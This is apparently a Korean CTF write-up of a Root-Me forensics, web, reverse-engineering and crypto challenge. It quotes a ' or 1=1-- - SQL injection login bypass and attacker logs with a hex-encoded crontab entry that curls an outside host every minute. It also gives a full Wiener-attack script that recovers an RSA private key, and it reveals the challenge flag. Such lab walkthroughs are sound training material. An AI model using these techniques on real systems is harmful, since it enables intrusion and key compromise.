[Solved in under 5 hours 47 minutes]
Realist 문제 되게 재밌어서 더 풀어봤다.
가보자.

프랑스 사이버사령부 cyber sous-officers 채용중 일환으로 문제를 만듯드하다.
진짜 가보자.

통신국과 차량 간의 최근 통신 로그들이 있다고 한다 이거를 분석하란다.

pcap 파일을 열면 바로 보이는게 TELNET 으로 통신한게 보인다.
TELNET은 암호화 방식으로 통신하는게 아니라 평문으로 바로 보인다 스트림으로 봐보자

TCP 스트림으로 확인 시 root/ 등 패스워드도 잘 보이고 어떤걸 하였는지 잘 보인다.
한번 시도해보자.

해당 IP로 텔넷 시도 시 접속이 불가하여 일단 생각만 해두고 다른 패킷들을 보자

다른 패킷을 확인하는 도중 23포트는 텔넷인데 안됐으니
212.129.38.224:53036 이거에 대해 접속 시도를 해봤다.

오 드디어 뭔가 접속이 되는걸 발견했다.
간단하게 admin/admin 등을 시도해봤지만 안됐고 SQL Injection으로 뚫는건가 싶어
가장 간단한 ' or 1=1-- - 를 해봤는데

' or 1=1-- -
뚫렸다!
웹해킹이 주가 아니니 간단하게 SQLI가 먹히게 만든것같다.
여하튼
이게 뭔데? 하면서 찾아보다가

코드를 따로 입력하는 란이 보인다.
아무거나 입력해봤는데 역시나 안됐고 "GET LAST LOGS"로 로그들을 다운받아 저 코드를 찾고 입력하면,
플래그가 주어지는 문제로 예상이 됐다.
일단 로그파일을 보니

CMD(echo 'efa3fb1f409aa622dddd7220ad6567580fb68b68' > /tmp/.password) [0]
패스워드로 추정되는 로그가 있어서 삽입해봤지만 안됐고

CMD(zip --password $(cat /tmp/.password) secret.zip message.txt m4lw3r3) [0]
아하 그 패스워드를 기반으로 secret.zip을 생성하는거였다.
일단 알고 있고 다시 로그 정독하자.

CMD(cat /app/static/assets/images/favicon.ico ./secret.zip > /app/static/assets/images/favicon.ico) [0]
CMD(echo '2a202a202a202a202a20206563686f20242877686f616d6929202626206375726c20687474703a2f2f7777772e70657264752e636f6d3a38300a' | xxd -r -p | crontab -) [0]
지금 수상한게 두개가 나왔는데
favicon에 secret.zip 파일 넣은 로그를 식별했다.
저거는 웹 favicon에 직접 접속해서 다운로드를 해보면 될 것 같고
아래는
2a2~ 값을 헥스값으로 디코딩하고 그 내용을 크론탭에 등록하는 것이다
일단 아래것부터 먼저 확인하니

* * * * * echo $(whoami) && curl http://www.perdu.com:80
매분마다 whoami 하고 명령어가 성공하면 http://www.perdu.com:80 으로 curl 요청을 보내는 일종의 잘만하면 백도어류의 일종으로 보인다.
한번 접속해보자

프랑스어라 한국어로 번역하니 이래 뜬다
현재 경로를 알려주는게 뭔가 수상해서
디렉토리 부스팅을 돌려봤는데

별건 없으니 일단 패스해두고 다시 돌아와서

CMD(cat /app/static/assets/images/favicon.ico ./secret.zip > /app/static/assets/images/favicon.ico) [0]
아까 보았던 파비콘에 대해서 접속해서 다운로드 해봤다.

파비콘안에 zip을 넣어 스테가노그래피형식으로 숨겼으니 분리를 시켜주는 작업을 일단 하자.
zip의 파일 시그니쳐 시작은 50 4b 03 04 끝은 50 4b 05 06 이므로
시작과 끝의 헥스값을 따로 빼서 다시 파일로 저장하면 깨지는거 없이 파일이 추출이 된다.

끝을 확인해주고 그 사이 헥스값을 복사해서 새로운 파일로 붙어넣으면?


이런 zip파일을 만들 수 있다!

압축을 해제 하려고 보니 패스워드가 필요했고 로그 맨 처음 확인했던 패스워드를 입력해주면~?

efa3fb1f409aa622dddd7220ad6567580fb68b68
zip으로 잘 풀린다.
파일을 확인 해보자

이렇게 파일이 두개가 뽑힌다.

message.txt에는 마지막이라고 힘내라고 한다.
다른 파일을 보자

ELF인 m4lw4r3 파일인것을 확인하고 IDA를 통해 디컴파일을 해보자

"You should be able to decrypt this: 0x39c463428c629ce94df5bc1cb17bec86cb2231203a5270c598173f31415ff710696318"
"d9e889e1c891728fed2ed14a291a5b3b76e217d6f3bf24bd484b71f08843b4f3cbb30a5d480cf4e34339c5e06acc76574cfbea08a4fc"
"a2c73388b4e08831f8e037489092346809d7c164ab270a5e04ae40a327c99590da89025ac48aa5"
와 진짜 다양한 기법들이 들어있네? 이제는 리버싱 및 암호학이야?
문제 진짜 좋은 문제다.
여하튼
저거를 복호화 해서 코드를 얻고 웹에 통신코드를 넣으면? 플래그가 나오지 않을까 하는 추측이다.
암호학은 진짜 진짜 진짜 하기도 싫으며 못 하는 영역이라 이 부분만 GPT 선생님한테 넘길려고 한다.
디컴파일 나온 결과를 가지고 전체 복사해서 줘보자.
주었더니 하는 소리가 n, e를 일단 구해라 그리고 d를 구하는 Wiener attack을 해야한다고 한다.
Woemer attack이란?
RSA 암호체계에서 개인 키 d가 수학적으로 너무 작게 설정되었을 때, 연분수(Continued fraction) 근사법을 이용해 개인 키를 효율적으로 찾아내는 암호화 공격 방법
그렇다고 한다 암호학을 전혀 모르는 나는 처음 봤다 능지 상승했다.
여하튼 하나씩 차근차근 해보자
뭔소린지 하나도 모르겠지만 최대한 이해하려고 노력한 결과
128바이트 n, e 값을 찾아서 돌려야 한다 그런것 같다.

e = 96cfcc82bede2636229179e1d42c70caab744623ed121f1a859f294498baa64b6c1043465c426b996e2d1c135cb8189672dc8f55f6e14cd6897d0f0f6dc811ecfb79a3b1ae75c461bfa77346726d5652ef7628cd3e3c9abab6b33f962b5dba179439cf551a6db129a5210b218ece24015f8bd0a766d0522e643516bcda4b9771
e값의 주소가 0x6100부터 e값이니 128바이트면 0x617f까지 값일거다.
다행히 빅 에디안여서 그대로 바로 사용했다.
e값 찾았고 후...

n = c4d7c0c102f0c35c356c60a67edd6d4341c2ed180583f476c78bac8cc3055cc18316ea27d73467972c99560dfb0ef63b63a2d8665e9b51bb322d1e260d60cd3e445dfa610c11deb4e26921c6f4d10a9dd65804d572fefb6c02785e3ef94b9768e858d231b897cf255fce02ed99122648ca33238d23867c2279f3939b33087b9f
n의 주소값은 0x6180부터이니 128바이트면 0x61ff까지 값이다.
n값 찾았다..
리버싱 공부를 하던가 해야지 이거 하나씩 검색으로 찾아보는 사람 나밖에 없을걸.
일단 GPT가 만들어준 파이썬 파일 돌려보자.

#!/usr/bin/env python3
# wiener_attack.py
import argparse
import re
from math import isqrt
def clean_hex(s: str) -> str:
s = s.strip()
s = s.replace("0x", "").replace("0X", "")
s = re.sub(r"[^0-9a-fA-F]", "", s)
if len(s) % 2:
s = "0" + s
return s.lower()
def parse_int(s: str) -> int:
s = s.strip()
if s.startswith(("0x", "0X")):
return int(clean_hex(s), 16)
if re.search(r"[a-fA-F]", s):
return int(clean_hex(s), 16)
return int(s, 10)
def continued_fraction(a: int, b: int):
"""
a / b 의 continued fraction 항들을 생성
"""
while b:
q = a // b
yield q
a, b = b, a - q * b
def convergents(cf):
"""
continued fraction 항들로부터 근사분수 k / d 후보 생성
"""
n0, n1 = 1, 0
d0, d1 = 0, 1
for a in cf:
n2 = a * n0 + n1
d2 = a * d0 + d1
yield n2, d2
n1, n0 = n0, n2
d1, d0 = d0, d2
def wiener_attack(e: int, n: int):
"""
RSA Wiener attack.
RSA 관계:
e * d ≡ 1 mod phi(n)
즉:
e * d - k * phi(n) = 1
d가 충분히 작으면 e/n의 continued fraction 후보에서 d를 찾을 수 있음.
"""
for k, d in convergents(continued_fraction(e, n)):
if k == 0:
continue
# e*d - 1 = k * phi(n) 이어야 함
ed_minus_1 = e * d - 1
if ed_minus_1 % k != 0:
continue
phi = ed_minus_1 // k
# phi(n) = (p-1)(q-1) = n - p - q + 1
# 따라서 p + q = n - phi + 1
s = n - phi + 1
# p, q는 x^2 - s*x + n = 0의 해
# 판별식 D = s^2 - 4n
discr = s * s - 4 * n
if discr < 0:
continue
t = isqrt(discr)
# 판별식이 완전제곱이어야 p, q가 정수로 나옴
if t * t != discr:
continue
p = (s + t) // 2
q = (s - t) // 2
if p * q == n:
return d, p, q, phi, k
return None, None, None, None, None
def main():
parser = argparse.ArgumentParser(description="RSA Wiener attack tool")
parser.add_argument("--n", required=True, help="RSA modulus n hex/decimal")
parser.add_argument("--e", required=True, help="RSA public exponent e hex/decimal")
args = parser.parse_args()
n = parse_int(args.n)
e = parse_int(args.e)
print("[+] n bits:", n.bit_length())
print("[+] e bits:", e.bit_length())
print("[*] running Wiener attack...")
d, p, q, phi, k = wiener_attack(e, n)
if d is None:
print("[-] Wiener attack failed")
return
print("[+] Wiener attack success")
print()
print("[+] d hex:")
print(hex(d)[2:])
print()
print("[+] d int:")
print(d)
print()
print("[+] p hex:")
print(hex(p)[2:])
print()
print("[+] q hex:")
print(hex(q)[2:])
print()
print("[+] phi hex:")
print(hex(phi)[2:])
print()
print("[+] k:")
print(k)
print()
# 검증
if (e * d) % phi == 1:
print("[+] check: e*d mod phi == 1")
else:
print("[-] check failed: e*d mod phi != 1")
if p * q == n:
print("[+] check: p*q == n")
else:
print("[-] check failed: p*q != n")
if __name__ == "__main__":
main()
n과 e를 통해 Wiener attack으로 d를 복구했고
이제 다음은 d을 이용하여 바이너리에 있는 dest를 가지고 input2를 생성과 동시에
바이너리에 input1, input2을 넣어 검증 통과 후 d로 복호화하면 답이 나온다.
이제 n, e, d를가지고 input2를 뽑고 다시 암호문을 가지고 복호화를 해보자
물론 이역시 GPT형님한테 코드 짜달라고 부탁했다.

#!/usr/bin/env python3
# rsa_challenge_tool.py
import argparse
import math
import re
import sys
INPUT1 = "6762f71489bb7b57bbdaabd1306a677bbcf25bd7"
CIPHERTEXT_HEX = (
"39c463428c629ce94df5bc1cb17bec86cb2231203a5270c598173f31415ff710696318"
"d9e889e1c891728fed2ed14a291a5b3b76e217d6f3bf24bd484b71f08843b4f3cbb30a5d480cf4e34339c5e06acc76574cfbea08a4fc"
"a2c73388b4e08831f8e037489092346809d7c164ab270a5e04ae40a327c99590da89025ac48aa5"
)
def clean_hex(s: str) -> str:
s = s.strip()
s = s.replace("0x", "").replace("0X", "")
s = re.sub(r"[^0-9a-fA-F]", "", s)
if len(s) % 2:
s = "0" + s
return s.lower()
def parse_int(s: str) -> int:
s = s.strip()
if s.startswith(("0x", "0X")):
return int(clean_hex(s), 16)
# hex 문자 포함이면 hex로 처리
if re.search(r"[a-fA-F]", s):
return int(clean_hex(s), 16)
return int(s, 10)
def i2osp(x: int, size: int) -> bytes:
return x.to_bytes(size, "big")
def target_bytes() -> bytes:
"""
C 코드에서 dest는 처음 40바이트 문자열이고,
이후 128바이트가 될 때까지 같은 문자열을 strncat으로 반복함.
"""
b = INPUT1.encode()
while len(b) < 128:
b += INPUT1.encode()[: 128 - len(b)]
return b
def show_target():
t = target_bytes()
print("[+] input1:")
print(INPUT1)
print()
print("[+] dest 128 bytes ASCII:")
print(t)
print()
print("[+] dest hex:")
print(t.hex())
def verify_input2(n: int, e: int, sig_hex: str, size: int = 128) -> bool:
sig_hex = clean_hex(sig_hex)
sig = int(sig_hex, 16)
recovered = pow(sig, e, n)
recovered_bytes = i2osp(recovered, size)
expected = target_bytes()
print("[+] recovered hex:")
print(recovered_bytes.hex())
print()
print("[+] expected hex:")
print(expected.hex())
return recovered_bytes == expected
def make_input2_with_d(n: int, d: int, size: int = 128) -> str:
m = int.from_bytes(target_bytes(), "big")
sig = pow(m, d, n)
return i2osp(sig, size).hex()
def derive_d_from_pq(p: int, q: int, e: int) -> int:
phi = (p - 1) * (q - 1)
return pow(e, -1, phi)
def decrypt_raw_rsa(n: int, d: int, c_hex: str, size: int = 128) -> bytes:
c = int(clean_hex(c_hex), 16)
m = pow(c, d, n)
return i2osp(m, size)
def try_print_plaintext(pt: bytes):
print("[+] plaintext raw hex:")
print(pt.hex())
print()
print("[+] plaintext raw bytes:")
print(pt)
print()
# NULL 제거 후 출력 시도
stripped = pt.lstrip(b"\x00").rstrip(b"\x00")
for name, data in [
("stripped", stripped),
("full", pt),
]:
try:
print(f"[+] plaintext {name} utf-8:")
print(data.decode("utf-8"))
print()
except UnicodeDecodeError:
pass
# 흔한 flag 패턴 확인
for marker in [b"flag", b"FLAG", b"CTF", b"ctf", b"root", b"ROOT"]:
if marker in pt:
print(f"[+] possible marker found: {marker!r}")
def try_factor_n(n: int):
try:
from sympy import factorint
except ImportError:
print("[-] sympy가 없음. 설치:")
print(" pip install sympy")
sys.exit(1)
print("[*] trying to factor n...")
fac = factorint(n)
print("[+] factors:")
print(fac)
if len(fac) != 2:
print("[-] p, q 두 개짜리 RSA modulus 형태가 아님")
return None
items = list(fac.items())
if items[0][1] != 1 or items[1][1] != 1:
print("[-] factor exponent가 1이 아님")
return None
p = int(items[0][0])
q = int(items[1][0])
return p, q
def main():
parser = argparse.ArgumentParser(description="RSA no-padding challenge helper")
parser.add_argument("--n", help="RSA modulus n hex/decimal")
parser.add_argument("--e", help="RSA public exponent e hex/decimal")
parser.add_argument("--p", help="RSA p hex/decimal")
parser.add_argument("--q", help="RSA q hex/decimal")
parser.add_argument("--d", help="RSA private exponent d hex/decimal")
parser.add_argument("--verify-input2", help="input2 hex 검증")
parser.add_argument("--make-input2", action="store_true", help="private key로 valid input2 생성")
parser.add_argument("--decrypt", action="store_true", help="출력된 ciphertext 복호화")
parser.add_argument("--cipher", default=CIPHERTEXT_HEX, help="복호화할 ciphertext hex")
parser.add_argument("--try-factor", action="store_true", help="n factor 시도(sympy 필요)")
parser.add_argument("--show-target", action="store_true", help="input1/dest 정보 출력")
args = parser.parse_args()
if args.show_target:
show_target()
print()
if not args.n or not args.e:
print("[-] --n, --e 값이 필요함")
print()
print("Ghidra/IDA에서 아래 전역 배열 128바이트를 찾아서 넣어야 함:")
print(" BN_bin2bn(&n, 128, 0)")
print(" BN_bin2bn(&e, 128, 0)")
print()
print("예시:")
print(" python3 rsa_challenge_tool.py --show-target")
print(" python3 rsa_challenge_tool.py --n <N_HEX> --e <E_HEX> --verify-input2 <INPUT2_HEX>")
print(" python3 rsa_challenge_tool.py --n <N_HEX> --e <E_HEX> --p <P_HEX> --q <Q_HEX> --make-input2 --decrypt")
sys.exit(1)
n = parse_int(args.n)
e = parse_int(args.e)
print("[+] n bits:", n.bit_length())
print("[+] e:", e)
print()
p = parse_int(args.p) if args.p else None
q = parse_int(args.q) if args.q else None
d = parse_int(args.d) if args.d else None
if args.try_factor:
result = try_factor_n(n)
if result:
p, q = result
print("[+] p =", hex(p))
print("[+] q =", hex(q))
print()
if d is None and p and q:
d = derive_d_from_pq(p, q, e)
print("[+] derived d:")
print(hex(d))
print()
if args.verify_input2:
ok = verify_input2(n, e, args.verify_input2)
print()
if ok:
print("[+] input2 OK")
else:
print("[-] input2 FAILED")
if args.make_input2:
if d is None:
print("[-] --make-input2 하려면 --d 또는 --p --q가 필요함")
else:
input2 = make_input2_with_d(n, d)
print("[+] valid input2 hex:")
print(input2)
print()
print("[+] run:")
print(f"./chall {INPUT1} {input2}")
if args.decrypt:
if d is None:
print("[-] --decrypt 하려면 --d 또는 --p --q가 필요함")
else:
pt = decrypt_raw_rsa(n, d, args.cipher)
try_print_plaintext(pt)
if __name__ == "__main__":
main()
코드가 나왔다.. 하...
요약하자면
최종적으로 구조는 이렇다고 한다.
나는 암호학 진짜 무리다.
가지고 다시 웹으로 가보자

와 진짜가...
가지고 가보자

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
RM{F33ling_L1k3_4_R34l_Ag3nT!}
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
진짜 와 전반적으로 봤을때 살면서 풀었던 워게임 문제 1등이다.
너무 다양한 기술들과 한 분야에 국한되지 않고 여러 분야가 있어서 정말 재밌게 했다.
그리고 리버싱이 정말 약하다는 것도 깨달았다 눈물난다.
1시간 내외로 리버싱 전까지 왔는데 나머지 4시간 몇분은 리버싱 암호학으로 썼다.
기존에 네트워크 스테가노그래피 웹은 말할것도 없고 등등 조금씩 해와서 수월하게 한 것 같다.. ㅠㅠ
이거 문제 꼭 풀어보세요 여러분 정말 미쳤습니다.
RootMe ComCyber - Challenge Write-up
이상 보고 끝!